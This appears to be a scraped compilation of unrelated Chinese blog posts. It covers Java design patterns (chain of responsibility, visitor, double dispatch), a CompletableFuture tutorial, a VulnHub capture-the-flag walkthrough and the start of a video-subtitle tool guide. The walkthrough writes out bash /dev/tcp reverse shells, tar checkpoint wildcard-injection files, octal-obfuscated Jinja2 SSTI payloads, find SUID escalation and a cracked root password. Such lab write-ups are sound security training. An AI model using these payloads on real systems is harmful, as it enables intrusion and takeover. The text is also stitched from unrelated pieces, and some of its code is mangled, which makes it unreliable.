2023年3月

begin 2021年12月11日20:47:41

责任链模式

定义

Avoid coupling the sender of a request to its receiver by giving more than one
object a chance to handle the request. Chain the receiving objects and pass the
request along the chain until an object handles it. ——《Design Patterns: Elements of Reusable Object-Oriented Software》

使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将接收对象连城一条链,并沿着链传递该请求,直到有一个对象处理它为止。 ——《设计模式:可复用面向对象软件的基础》

责任链模式是一种行为型设计模式。

使用场景

在以下场景下使用责任链模式:

  • 有多个对象处理一个请求时,且处理者不知道处理优先级。
  • 你想让多个处理者处理一个请求,不需要知道具体处理者。
  • 处理请求的对象集合应该是自动确定的。

总的来说,就是处理请求的处理者有多个,但是客户端只知道其中一个,其他都是主动排好队,等着处理请求的。

图示

责任链结构图:

责任链结构图

角色

客户端(Client):

  • 初始化请求给责任链上的一个具体处理者

抽象处理者(Handler):

  • 定义一个处理请求的接口
  • 设置下一位处理者的引用

具体处理者(Handler):

  • 处理它负责的请求
  • 如果具体处理者可以处理请求,就处理;否则,将请求交给它的继承者

请求(Request):

  • 封装了需要处理的信息,传递给处理者进行处理。

代码示例

// 抽象处理者类
abstract class Handler {
    protected Handler successor;

    public void setSuccessor(Handler successor) {
        this.successor = successor;
    }

    public abstract void handleRequest(Request request);
}

// 具体处理者类A
class HandlerA extends Handler {
    public void handleRequest(Request request) {
        if (request.getType() == RequestType.TYPE_A) {
            // 处理请求
        } else if (successor != null) {
            successor.handleRequest(request);
        }
    }
}

// 具体处理者类B
class HandlerB extends Handler {
    public void handleRequest(Request request) {
        if (request.getType() == RequestType.TYPE_B) {
            // 处理请求
        } else if (successor != null) {
            successor.handleRequest(request);
        }
    }
}

// 请求类
class Request {
    private RequestType type;

    public Request(RequestType type) {
        this.type = type;
    }

    public RequestType getType() {
        return type;
    }
}

// 请求类型枚举类
enum RequestType {
    TYPE_A, TYPE_B
}

// 使用示例
public class Client {
    public static void main(String[] args) {
        Handler handlerA = new HandlerA();
        Handler handlerB = new HandlerB();
        handlerA.setSuccessor(handlerB);

        Request request1 = new Request(RequestType.TYPE_A);
        handlerA.handleRequest(request1);

        Request request2 = new Request(RequestType.TYPE_B);
        handlerA.handleRequest(request2);
    }
}

故事版代码示例

产房内哇的一声啼哭,你已经降临这个世界。

你慢慢长大,学习,工作,结婚生子。

爸妈永远是你的支持。

public interface Support {
    void setSuccessor(Support successor);
    void handle(You you);
}

public class MaMa implements Support {
    private String name = "妈妈";
    private Support successor;
    @Override
    public void setSuccessor(Support successor) {
        this.successor = successor;
    }

    @Override
    public void handle(You you) {
        if (you.getObtainType() == ObtainType.NAME) {
            System.out.println(name + ":怀孕了,起个好听的名字");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.BORN) {
            System.out.println(name + ":十月怀胎,你出生了");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.EDUCATION) {
            System.out.println(name + ":十六年努力工作,提供给你最好的教育");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.WORK) {
            System.out.println(name + ":给你鼓励");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.MARRIAGE) {
            System.out.println(name + ":倾尽所有买房买车");
            successor.handle(you);
        }
    }
}

public class BaBa implements Support{
    private String name = "爸爸";
    private Support successor;
    @Override
    public void setSuccessor(Support successor) {
        this.successor = successor;
    }

    @Override
    public void handle(You you) {
        if (you.getObtainType() == ObtainType.NAME) {
            System.out.println(name + ":让岳父起个好听的名字");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.BORN) {
            System.out.println(name + ":高兴");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.EDUCATION) {
            System.out.println(name + ":十六年和妈妈一起努力工作,提供给你最好的教育");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.WORK) {
            System.out.println(name + ":给你指导");
            successor.handle(you);
        } else if (you.getObtainType() == ObtainType.MARRIAGE) {
            System.out.println(name + ":和妈妈一起倾尽所有买房买车");
            successor.handle(you);
        }
    }
}

public class WaiGong implements Support {
    private String name = "外公";
    private Support successor;
    @Override
    public void setSuccessor(Support successor) {
        this.successor = successor;
    }

    @Override
    public void handle(You you) {
        if (you.getObtainType() == ObtainType.NAME) {
            System.out.println(name + ":名叫晓月");
        } else if (you.getObtainType() == ObtainType.BORN) {
            System.out.println(name + ":你们多了一份责任");
        } else if (you.getObtainType() == ObtainType.EDUCATION) {
            System.out.println(name + ":暑假的大热天的扇子,冬天热乎的番薯");
        } else if (you.getObtainType() == ObtainType.WORK) {
            System.out.println(name + ":你很努力,也很棒");
        } else if (you.getObtainType() == ObtainType.MARRIAGE) {
            System.out.println(name + ":开心看到你结婚");
        }
    }
}

public class Family {
    public static void main(String[] args) {
        // 爸爸
        BaBa baBa = new BaBa();
        // 妈妈
        MaMa maMa = new MaMa();
        // 外公
        WaiGong waiGong = new WaiGong();

        // 结婚,爸爸成了妈妈的支持
        maMa.setSuccessor(baBa);
        // 外公对爸爸说,我们是一家人,我可以成为你的支持
        baBa.setSuccessor(waiGong);
        // 妈妈怀孕了
        You you = new You();
        you.setAge(-1);
        // 你一生的支持,103岁die
        while(you.getAge() < 103) {
            // 你主观或者客观提出了请求
            produceRequest(you);
            // 家人支持处理你的请求
            handleRequest(you, maMa);
            // 下一重要阶段
            setNextAge(you);
        }

    }

    private static void setNextAge(You you) {
        if (you.getAge() == -1) {
            you.setAge(0);
        } else if (you.getAge() == 0) {
            you.setAge(3);
        } else if (you.getAge() >= 3 && you.getAge() < 22) {
            you.setAge(22);
        } else if (you.getAge() >= 22 && you.getAge() < 24) {
            you.setAge(24);
        } else if (you.getAge() == 24) {
            you.setAge(103);
        }
    }

    private static void handleRequest(You you, MaMa maMa) {
        maMa.handle(you);
    }

    private static void produceRequest(You you) {
        if (you.getAge() == -1) {
            you.setObtainType(ObtainType.NAME);
        } else if (you.getAge() == 0) {
            you.setObtainType(ObtainType.BORN);
        } else if (you.getAge() >= 3 && you.getAge() < 22) {
            you.setObtainType(ObtainType.EDUCATION);
        } else if (you.getAge() >= 22 && you.getAge() < 24) {
            you.setObtainType(ObtainType.WORK);
        } else if (you.getAge() == 24) {
            you.setObtainType(ObtainType.MARRIAGE);
        }
    }
}

代码示例结果:

责任链模式示例结果图

优点

责任链模式的优点在于它可以将请求的处理分散到多个对象中,降低了对象之间的耦合度。同时,责任链模式也比较灵活,可以动态地组织处理者链,以满足不同的需求。

缺点

但是责任链模式也有一些缺点。首先,由于每个处理者都要处理请求,因此处理者链过长或者处理者数量过多可能会影响性能。其次,如果处理者链没有被正确组织,可能会导致请求无法得到处理或者处理不当的情况发生。

总结

当你需要多个处理者处理一个请求,并想任意组合处理者时,可以使用责任链模式。该模式具有降低耦合,以及灵活组织处理者的优点。

2023年03月19日17:36:53

​做Java编程,难免会遇到多线程的开发,但是JDK8这个CompletableFuture类很多开发者目前还没听说过,但是这个类实在是太好用了,了解它的一些用法后相信你会对它爱不释手(呸渣男,咋对谁都爱不释手呢),好了我先简单举个列子,告诉你用它有多好。Single Dog拿一个Appointment来举个列子,如下:

/*** 女神化完妆之后,还需要一小会选衣服,不过分吧。
* 也就是说我们现在有2个异步任务,第一个是化妆,第二个是选衣服。
* 选衣服要在化妆完成之后进行,这两个任务是串行
*/ public static voidmain(String[] args) {//线程池我前面的文章聊过,怎么配置可以去了解一下 ThreadPoolExecutor threadPool= new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());//任务1 CompletableFuture<String> makeUpFuture = CompletableFuture.supplyAsync(() ->{
System.out.println(Thread.currentThread().getName()
+ "-女神,开始化妆了");try{//化妆的时间 TimeUnit.SECONDS.sleep(5);
}
catch(InterruptedException e) {
e.printStackTrace();
}
return "化妆完毕了。";
}, threadPool);
//任务2,makeUp是调用方,意思是makeUpFuture执行完后再执行 CompletableFuture<String> dressFuture = makeUpFuture.thenApply((result) ->{
System.out.println(Thread.currentThread().getName()
+ "-女神" + result + "我开始选衣服啦,好了叫你!");try{//换衣服的时间 TimeUnit.SECONDS.sleep(5);
}
catch(InterruptedException e) {
e.printStackTrace();
}
return result + "衣服也选好了,走出去玩吧!";
});
dressFuture.thenAccept((result)
->{
System.out.println(Thread.currentThread().getName()
+ "-" +result);
});
}

上面的2个任务也可以理解为我们开发中要实现的不同功能,看明白前面的列子了吧?用它来写多线程运用的多丝滑。那我们就先讲一下它的核心的静态的方法,推荐用它的静态方法不要直接new对象。

1:无返回值的静态方法:

​public static CompletableFuture<Void> runAsync(Runnable runnable)。

public static CompletableFuture<Void> runAsync(Runnable runnable, Executor executor) 。

上面一个2个方法,如果没有指定Executor就使用默认的ForkJoinPool.commonPool()线程池,如果指定线程池就使用指定的。

2:有返回值的方法

​public static <U> CompletableFuture<U> supplyAsync(Supplier<U> supplier)

public static <U> CompletableFuture<U> supplyAsync(Supplier<U> supplier, Executor executor)

如果开始的代码你还看不懂那介绍了上面的几个方法就先小试牛刀一下:

ThreadPoolExecutor threadPool = new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());

CompletableFuture.runAsync(()
->{
System.out.println(Thread.currentThread().getName());
int i = 10 / 2;
System.out.println(
"运行的结果是:" +i);
}, threadPool);

CompletableFuture future
= CompletableFuture.supplyAsync(() ->{try{
Thread.sleep(
2);
}
catch(InterruptedException e) {
e.printStackTrace();
}
return "Hello World";
}, threadPool);
System.out.println(future.get());

好了讲过它的使用方法了那我们就聊一下它的几个使用的场景,开发中这写场景应该会使用到。

​1:执行任务 A,执行任务B,待任务B执行完成后,用B的返回值区执行任务C。

ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());
CompletableFuture
<String> futureA = CompletableFuture.supplyAsync(() ->{try{
Thread.sleep(
2000);
}
catch(InterruptedException e) {
e.printStackTrace();
}
System.out.println(
"执行任务A");return "任务A";
}, executor);
CompletableFuture
<String> futureB = CompletableFuture.supplyAsync(() ->{
System.out.println(
"执行任务B");return "任务B";
}, executor);
CompletableFuture
<String> futurec = futureB.thenApply((b) ->{
System.out.println(
"执行任务C");
System.out.println(
"参数:" +b);return "a";
});
System.out.println(futurec.get());

​运行结果,注意我上面没说B一定要在A执行以后执行。

​场景2:多个任务串联执行,下一个任务的执行依赖上一个任务的结果,每个任务都有输入和输出。

ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());
CompletableFuture futureA
= CompletableFuture.supplyAsync(() -> "Hello", executor);
CompletableFuture futureB
= futureA.thenApply((a) -> a + " World");
CompletableFuture futureC
= futureB.thenApply((b) ->b);
System.out.println(futureC.join());

​输出结果,开发中的经典场景输出:

​场景3:thenCombineAsync 联合 futureA和futureB的返回结果,然后在返回相关的数据

 ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());
CompletableFuture
<Integer> futureA = CompletableFuture.supplyAsync(() -> 10, executor);
CompletableFuture
<Integer> futureB = CompletableFuture.supplyAsync(() -> 20, executor);
CompletableFuture futureC
= futureA.thenCombineAsync(futureB, (r1, r2) ->{
System.out.println(
"r1的值为:" + r1 + ":r2的值为:" +r2);return r1 +r2;
});
System.out.println(futureC.get());

​结果输出:

好了聊完几个场景那就写一个在开发中的经典运用。

ThreadPoolExecutor executor = new ThreadPoolExecutor(2, 10, 10, TimeUnit.SECONDS,new LinkedBlockingDeque<>(10), Executors.defaultThreadFactory(), newThreadPoolExecutor.AbortPolicy());
System.out.println(
"start...");
CompletableFuture
<String> future1 = CompletableFuture.supplyAsync(() ->{
System.out.println(
"查询商品信息1");return "future1";
}, executor);

CompletableFuture
<String> future2 = CompletableFuture.supplyAsync(() ->{
System.out.println(
"查询商品信息2");return "future2";
}, executor);

CompletableFuture
<String> future3 = CompletableFuture.supplyAsync(() ->{
System.out.println(
"查询商品信息3");return "future3";
}, executor);
final CompletableFuture<Void> voidCompletableFuture =CompletableFuture.allOf(future1, future2, future3);
voidCompletableFuture.get();
System.out.println(
"end...future1的结果:" + future1.get() + ",future2的结果:" + future2.get() + ",future3的结果:" + future3.get());

​输出结果

​这个经典的应用相信你可以在你的开发中进行套用,然后灵活的运用。当然这个类还有很多的方法,我这里只写了部分介绍了部分场景作为一个引子,如果想了解它的更多的应用可以看它的API的文档。

聊了这么多你应该对我刚开始写的那段代码了如指掌。这么好用的类,欢迎你分享给其他的人,让更多人知晓一下。它运用到开发中,应该能为你的开发提供很多的便利。一束光,二束光,三束光。分享的多了文章慢慢就回也得更好看,更精彩了。

1 概述

定义:

封装一些作用于某种数据结构中的各元素的操作,它可以在不改变这个数据结构的前提下定义作用于这些元素的新的操作。

2 结构

访问者模式包含以下主要角色:

  • 抽象访问者(Visitor)角色:定义了对每一个元素
    (Element)
    访问的行为,它的参数就是可以访问的元素,它的方法个数理论上来讲与元素类个数(Element的实现类个数)是一样的,从这点不难看出,
    访问者模式要求元素类的个数不能改变

  • 具体访问者(ConcreteVisitor)角色:给出对每一个元素类访问时所产生的具体行为。

  • 抽象元素(Element)角色:定义了一个接受访问者的方法(
    accept
    ),其意义是指,每一个元素都要可以被访问者访问。

  • 具体元素(ConcreteElement)角色: 提供接受访问方法的具体实现,而这个具体的实现,通常情况下是使用访问者提供的访问该元素类的方法。

  • 对象结构(Object Structure)角色:定义当中所提到的对象结构,对象结构是一个抽象表述,具体点可以理解为一个具有容器性质或者复合对象特性的类,它会含有一组元素(
    Element
    ),并且可以迭代这些元素,供访问者访问。

3 案例实现

【例】给宠物喂食

现在养宠物的人特别多,我们就以这个为例,当然宠物还分为狗,猫等,要给宠物喂食的话,主人可以喂,其他人也可以喂食。

  • 访问者角色:给宠物喂食的人

  • 具体访问者角色:主人、其他人

  • 抽象元素角色:动物抽象类

  • 具体元素角色:宠物狗、宠物猫

  • 结构对象角色:主人家

类图如下:

代码如下:

创建抽象访问者接口

public interface Person {
    void feed(Cat cat);
​
    void feed(Dog dog);
}

创建不同的具体访问者角色(主人和其他人),都需要实现
Person
接口

public class Owner implements Person {
​
    @Override
    public void feed(Cat cat) {
        System.out.println("主人喂食猫");
    }
​
    @Override
    public void feed(Dog dog) {
        System.out.println("主人喂食狗");
    }
}
​
public class Someone implements Person {
    @Override
    public void feed(Cat cat) {
        System.out.println("其他人喂食猫");
    }
​
    @Override
    public void feed(Dog dog) {
        System.out.println("其他人喂食狗");
    }
}

定义抽象节点 -- 宠物

public interface Animal {
    void accept(Person person);
}

定义实现
Animal
接口的 具体节点(元素)

public class Dog implements Animal {
​
    @Override
    public void accept(Person person) {
        person.feed(this);
        System.out.println("好好吃,汪汪汪!!!");
    }
}
​
public class Cat implements Animal {
​
    @Override
    public void accept(Person person) {
        person.feed(this);
        System.out.println("好好吃,喵喵喵!!!");
    }
}

定义对象结构,此案例中就是主人的家

public class Home {
    private List<Animal> nodeList = new ArrayList<Animal>();
​
    public void action(Person person) {
        for (Animal node : nodeList) {
            node.accept(person);
        }
    }
​
    //添加操作
    public void add(Animal animal) {
        nodeList.add(animal);
    }
}
​

测试类

public class Client {
    public static void main(String[] args) {
        Home home = new Home();
        home.add(new Dog());
        home.add(new Cat());
​
        Owner owner = new Owner();
        home.action(owner);
​
        Someone someone = new Someone();
        home.action(someone);
    }
}

测试结果

4 优缺点

1,优点:

  • 扩展性好

    在不修改对象结构中的元素的情况下,为对象结构中的元素添加新的功能。

  • 复用性好

    通过访问者来定义整个对象结构通用的功能,从而提高复用程度。

  • 分离无关行为

    通过访问者来分离无关的行为,把相关的行为封装在一起,构成一个访问者,这样每一个访问者的功能都比较单一。

2,缺点:

  • 对象结构变化很困难

    在访问者模式中,每增加一个新的元素类,都要在每一个具体访问者类中增加相应的具体操作,这违背了“开闭原则”。

  • 违反了依赖倒置原则

    访问者模式依赖了具体类,而没有依赖抽象类。

5 使用场景

  • 对象结构相对稳定,但其操作算法经常变化的程序。

  • 对象结构中的对象需要提供多种不同且不相关的操作,而且要避免让这些操作的变化影响对象的结构。

6 扩展

访问者模式用到了一种双分派的技术。

1,分派:

变量被声明时的类型叫做变量的静态类型,有些人又把静态类型叫做明显类型;而变量所引用的对象的真实类型又叫做变量的实际类型。比如
Map map = new HashMap()
,map变量的静态类型是
Map
,实际类型是
HashMap
。根据对象的类型而对方法进行的选择,就是分派(Dispatch),分派(Dispatch)又分为两种,即静态分派和动态分派。

静态分派(Static Dispatch)
发生在编译时期,分派根据静态类型信息发生。静态分派对于我们来说并不陌生,方法重载就是静态分派。

动态分派(Dynamic Dispatch)
发生在运行时期,动态分派动态地置换掉某个方法。Java通过方法的重写支持动态分派。

2,动态分派:

通过方法的重写支持动态分派。

public class Animal {
    public void execute() {
        System.out.println("Animal");
    }
}
​
public class Dog extends Animal {
    @Override
    public void execute() {
        System.out.println("dog");
    }
}
​
public class Cat extends Animal {
     @Override
    public void execute() {
        System.out.println("cat");
    }
}
​
public class Client {
    public static void main(String[] args) {
        Animal a = new Dog();
        a.execute();
        
        Animal a1 = new Cat();
        a1.execute();
    }
}

上面代码的结果大家应该直接可以说出来,这不就是多态吗!运行执行的是子类中的方法。

Java编译器在编译时期并不总是知道哪些代码会被执行,因为编译器仅仅知道对象的静态类型,而不知道对象的真实类型;而方法的调用则是根据对象的真实类型,而不是静态类型。

3,静态分派:

通过方法重载支持静态分派。

public class Animal {
}
​
public class Dog extends Animal {
}
​
public class Cat extends Animal {
}
​
public class Execute {
    public void execute(Animal a) {
        System.out.println("Animal");
    }
​
    public void execute(Dog d) {
        System.out.println("dog");
    }
​
    public void execute(Cat c) {
        System.out.println("cat");
    }
}
​
public class Client {
    public static void main(String[] args) {
        Animal a = new Animal();
        Animal a1 = new Dog();
        Animal a2 = new Cat();
​
        Execute exe = new Execute();
        exe.execute(a);
        exe.execute(a1);
        exe.execute(a2);
    }
}

运行结果:

这个结果可能出乎一些人的意料了,为什么呢?

重载方法的分派是根据静态类型进行的,这个分派过程在编译时期就完成了。

4,双分派:

所谓双分派技术就是在选择一个方法的时候,不仅仅要根据消息接收者(receiver)的运行时区别,还要根据参数的运行时区别。

public class Animal {
    public void accept(Execute exe) {
        exe.execute(this);
    }
}
​
public class Dog extends Animal {
    public void accept(Execute exe) {
        exe.execute(this);
    }
}
​
public class Cat extends Animal {
    public void accept(Execute exe) {
        exe.execute(this);
    }
}
​
public class Execute {
    public void execute(Animal a) {
        System.out.println("animal");
    }
​
    public void execute(Dog d) {
        System.out.println("dog");
    }
​
    public void execute(Cat c) {
        System.out.println("cat");
    }
}
​
public class Client {
    public static void main(String[] args) {
        Animal a = new Animal();
        Animal d = new Dog();
        Animal c = new Cat();
​
        Execute exe = new Execute();
        a.accept(exe);
        d.accept(exe);
        c.accept(exe);
    }
}

在上面代码中,客户端将Execute对象做为参数传递给Animal类型的变量调用的方法,这里完成第一次分派,这里是方法重写,所以是动态分派,也就是执行实际类型中的方法,同时也
将自己this作为参数传递进去,这里就完成了第二次分派
,这里的Execute类中有多个重载的方法,而传递进行的是this,就是具体的实际类型的对象。

说到这里,我们已经明白双分派是怎么回事了,但是它有什么效果呢?就是可以实现方法的动态绑定,我们可以对上面的程序进行修改。

运行结果如下:

双分派实现动态绑定的本质,就是在重载方法委派的前面加上了继承体系中覆盖的环节,由于覆盖是动态的,所以重载就是动态的了。

准备:

攻击机:虚拟机kali、本机win10。

靶机:Bluesmoke: devrandom2,下载地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下载后直接vbox打开即可。

知识点:ssti注入漏洞、shell反弹、ffuf扫描、tar通配符漏洞、私钥破解与登录、find提权、解密(base32、base64、hexdump、hex、bin)

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.14。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.14,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了upload.php、/uploads文件夹等信息。顺带进行下二级目录扫描,在/uploads文件夹下只发现了index.php。

3.web服务

访问了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,并检查下其源码信息,但是均未发现有用得信息 。

进行了下ffuf扫描,去探测请求参数,但是也未发现存在可以利用得参数。

二:分析与获取shell

1.tar通配符漏洞

访问web服务时其页面显示会对我们提交的tar和zip文件进行检查并提交到备份系统:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜测靶机会将我们上传的tar文件进行解压然后检查我们的文件,检查完之后在压缩成tar后上传到备份系统。关于tar命令存在一个和通配符有关的漏洞,之前利用过tar通配符进行提权。该漏洞就是当使用通配符压缩文件时,会将*替换成目录下的文件名称,因此我们可以在shell反弹脚本的同目录下添加以下两个文件:--checkpoint=1、--checkpoint-action=exec=sh upfine.shell,这样当我们执行压缩的时候就可以执行我们的脚本信息。下面是在kali中执行的压缩,可以看到反弹shell脚本可以正常执行,因此我么将该文件:upfine.tar上传至靶机。

#upfine.shell内容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#文件建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"

2.获取shell

但是上传靶机之后shell一直未反弹成功,后来压缩语句不采用通配符压缩就可以正常反弹shell权限了,压缩命令:tar cvf upfine.tar ./upfine.shell ./'--checkpoint=1' ./'--checkpoint-action=exec=sh upfine.shell'。

获得shell权限后在/home/backupper目录下发现flag.txt,读取该文件成功获得flag值,flag经两次base64解密后得到:nc -e /bin/bash www.theworld.com 17722,暂时不知道有什么用,先记下来。

三:提权至jaap

1.私钥破解

首先查找下具有root权限的文件信息,命令:find / -perm -4000 -type f 2>/dev/null,但是未发现任何有用的信息。

然后又上了linpeas.sh、pspty64进行信息收集,但是仍是未发下可以利用的信息。后面查看了下/home/backupper/.ssh目录下的私钥:id_rsa,利用http服务将该文件下载下来进行爆破,成功获得密码信息:samantha1。注意开启web服务时使用:python -m SimpleHTTPServer 8000。

使用获得的密码信息尝试切换jaap账户和remnie账户,但是均切换失败。并且使用ssh协议登录backupper账户也是失败(右侧);

破解密码后想着使用sudo -l查看下可以使用的命令,但是显示sudo不存在。然后看着破解的这个密码比较简单,想着破解下另外账户的密码,但是破解失败,未获得密码信息。

2.生成公钥私钥进行登录

后来就在本地生成公钥和私钥,命令:ssh-keygen -f upfine,输入的密码:samantha1,成功获得公钥和私钥。

然后开启http服务,将公钥authorized_keys上传到靶机,这样就可以在本地使用私钥直接进行连接,不在需要通过文件上传来进行shell的获取。

3.提权至jaap

使用私钥登录到backupper账户的shell后,发现当我们尝试ssh连接jaap账户时:ssh jaap@localhost,只需要我们输入backupper账户的私钥密码:samantha1,当我们输入之后成功切换到jaap账户权限。

获得jaap账户权限后在/home/jaap目录下发现flag.txt,读取该文件获得flag值,对flag值进行两次base64解密得:nc -e /bin/bash www.theworld.com 777。

四:提权至remnie

1.remnie相关信息查找

获得jaap权限后,在/home/jaap/bin目录下发现一个具有特殊权限的文件:find,那就直接查找下find得提权方式,提权命令:./find . -exec /bin/sh -p \; -quit,直接输入执行。执行完之后查看其id信息发现返回得信息中多了一个egid=1002(remnie)。

先利用find查找下具有remnie账户权限的文件信息,命令:./find / -user remnie -type f 2>/dev/null,发现以下三个目录中存在和remnie账户相关的信息:/var/mail、/home/remnie、/opt/remnie。

然后依次去目录下查找下是否存在可以利用得信息,在/home/remnie目录下发现提示信息,告诉我们存在一个本地服务在等着我们,但是未告诉我们端口。

然后在/opt/remnie/scripts目录下发现start.sh文件是可读的,查看该文件信息并进行分析,发现该文件会读取/tmp/start文件的值并判断是否为1,然后查找server.py进程并决定是否开启该进程。

那我们就需要建立该文件并使其值为1,这里可以自己创建,也可以直接通过靶机中留下的/home/jaap/bin/startserver.sh文件来进行创建,这里就直接自己 创建了,命令:echo "1" > start,然后查看下该进程是否开启,命令:ps -ef | grep server,发现该进程已开启。

2.发现本地服务

使用命令:netstat -tulpn查看下本地开启的服务,发现:127.0.0.1:8787。

这里只允许本地访问,那我们将靶机的8787端口的流量转到本地kali的8787端口中,命令:ssh -L 8787:127.0.0.1:8787 backupper@192.168.1.14 -i upfine,8787服务可以成功访问。

3.ffuf扫描

继续对该web服务进行目录扫描、ffuf扫描,在ffuf扫描时发现参数名:name。

但是输入参数:name=/etc/passwd并未读取到/etc/passwd文件,而是直接返回了输入的信息,考虑到刚在在靶机中开启的是python服务,优先测试下ssti注入,当我们输入{{3*3}}时,返回参数9,确定这里存在ssti注入。

4.ssti实现shell反弹

找以下ssti漏洞可以利用的模板,先进行测试是否可以执行,然后将执行的命令替换为shell反弹语句并进行shell的反弹,成功获得remnie账户的shell。

#shell反弹语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47").read().zfill(417)}}{%endif%}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen(\"\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47\").read()") }}{% endif %}{% endfor %}

#其中的编码数据是下面的语句,主要是&符号的问题,不编码无法执行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'

获得remnie账户权限的shell后在/opt/remnie目录下发现flag.txt,读取该文件成功获得flag值。

五:提权至root

获得remnie账户权限后,去查看下之前发现的server.py和server.conf文件,server.py文件未发现可以进行利用的信息,访问server.conf时返回一组hash数据,使用:https://gchq.github.io/CyberChef这个网站依次进行hashdump->binary->hex->base32->base64,最终成功获得一组账户和密码信息:root/-!F8h2LMr<\[n]`N]Kq。

直接利用获得的root信息:root/-!F8h2LMr<\[n]`N]Kq在remnie账户的shell中切换至root账户,切换root账户后在/root目录下发现flag.txt,读取该文件成功获得flag值。

1、概述

这两天做了一个视频通信近实时字幕生成工具,前端通过浏览器打开摄像头,生成用户画面,根据用户的语音近实时自动生成字幕展示在画面下方。对于没有接触过音视频处理的我来说,刚开始还是有点懵的,虽然借助了 chatgpt,但是还是走了一段时间的弯路。不过花了大概一天时间还是比较完美的实现了,还是非常有成就感的。谨以此记录最终成功的版本的实现思路和实现过程,文末附带源码和源码启动过程。

2、环境准备

第四节「详细过程」中会有这些工具安装或者申请教程

ffmpeg,一个强大的视频处理工具,此次主要用它来实现视频转成音频。

阿里云 OSS bucket

阿里云 语音识别项目

本地 golang 运行环境

3、实现思路

  • 前端使用 WebRTC 调起摄像头,与后端建立 websocket 连接,每隔三秒发送一段视频二进制流到后端;

  • 后端将视频流保存到本地,使用 ffmpeg 将本地视频转换成音频;

  • 把音频上传到阿里云 OSS 对象存储服务器中;

  • 获取到音频的访问地址;调用阿里云的语音识别功能的 sdk 解析出音频对应的文字内容;

  • 后端通过 websocket 把文字内容回传给前端,前端进行字幕展示。

3.1 提示

谨以此提示来降低心理压力,看起来此项目设计到前后端项目的开发和部署,但是其实不对此工具不用产生太大的压力,因为很多操作都有现成工具可以借用。

虽然此次项目需要同时开发前后端,但是对于此次工具的开发,不需要把前端部署到服务器,只需编写一个简单的 html,用浏览器渲染打开即可。

chatpgt 可以一定程度上加快我们的问题解决过程,但是也不要全信它的内容,亲身经历被它坑了好多次。

github 上已有一些优秀的开源项目,比如此次所借用的开源项目
wxbool/video-srt
,大大加快了项目的开发速度。

前后端 websocket 交互的实现也比较简单,几行代码就可以搞定。

4、详细过程

4.1 工具准备和安装

4.1.1 安装 ffmpeg

在 Mac 上安装方式是
brew install ffmpeg
(其他操作系统可以自行寻找安装教程),安装过程可能比较久,我安装了大概 40 分钟。

安装完毕执行
ffmpeg -version
,输出如下信息说明安装成功。

4.1.2 创建阿里云的 RPM 用户

登录阿里云账号后,访问
https://ram.console.aliyun.com/users
,创建用户

随后在进入用户首页,点击「创建 AcessKey」,身份验证通过后,会创建一个 RAM用户的
AcessKey

AccessKey Secret
,立刻把两个参数记录下来,因为这个
AccessKey Secret
只在创建时显示,后续不支持查看。

4.1.3 创建阿里云 OSS bucket

访问
OSS对象存储
,点击立即开通,然后创建 bucket ,由于后续语音识别会访问 bucket 中的文件,而语音识别只能访问到公开的资源,所以还需要设置 bucket 的开放范围为「公开」

给 RPM 用户添加完全控制权限,否则后面运行代码时 oss 会报错
StatusCode=403, ErrorCode=AccessDenied, ErrorMessage="You have no right to access this object because of bucket acl.",

4.1.4 创建阿里云智能语音交互项目

访问
录音文件识别
,点击立即开通,然后创建项目,获取到项目AppKey,记录下来。

4.1.5 golang 环境安装

wget "https://studygolang.com/dl/golang/go1.18.3.darwin-amd64.tar.gz" -O go.tar.gz
tar -C /usr/local -xfz go.tar.gz
sudo echo 'export GOROOT=/usr/local/go' >> ~/.zshrc
sudo echo 'export GOPATH=~/go' >> ~/.zshrc
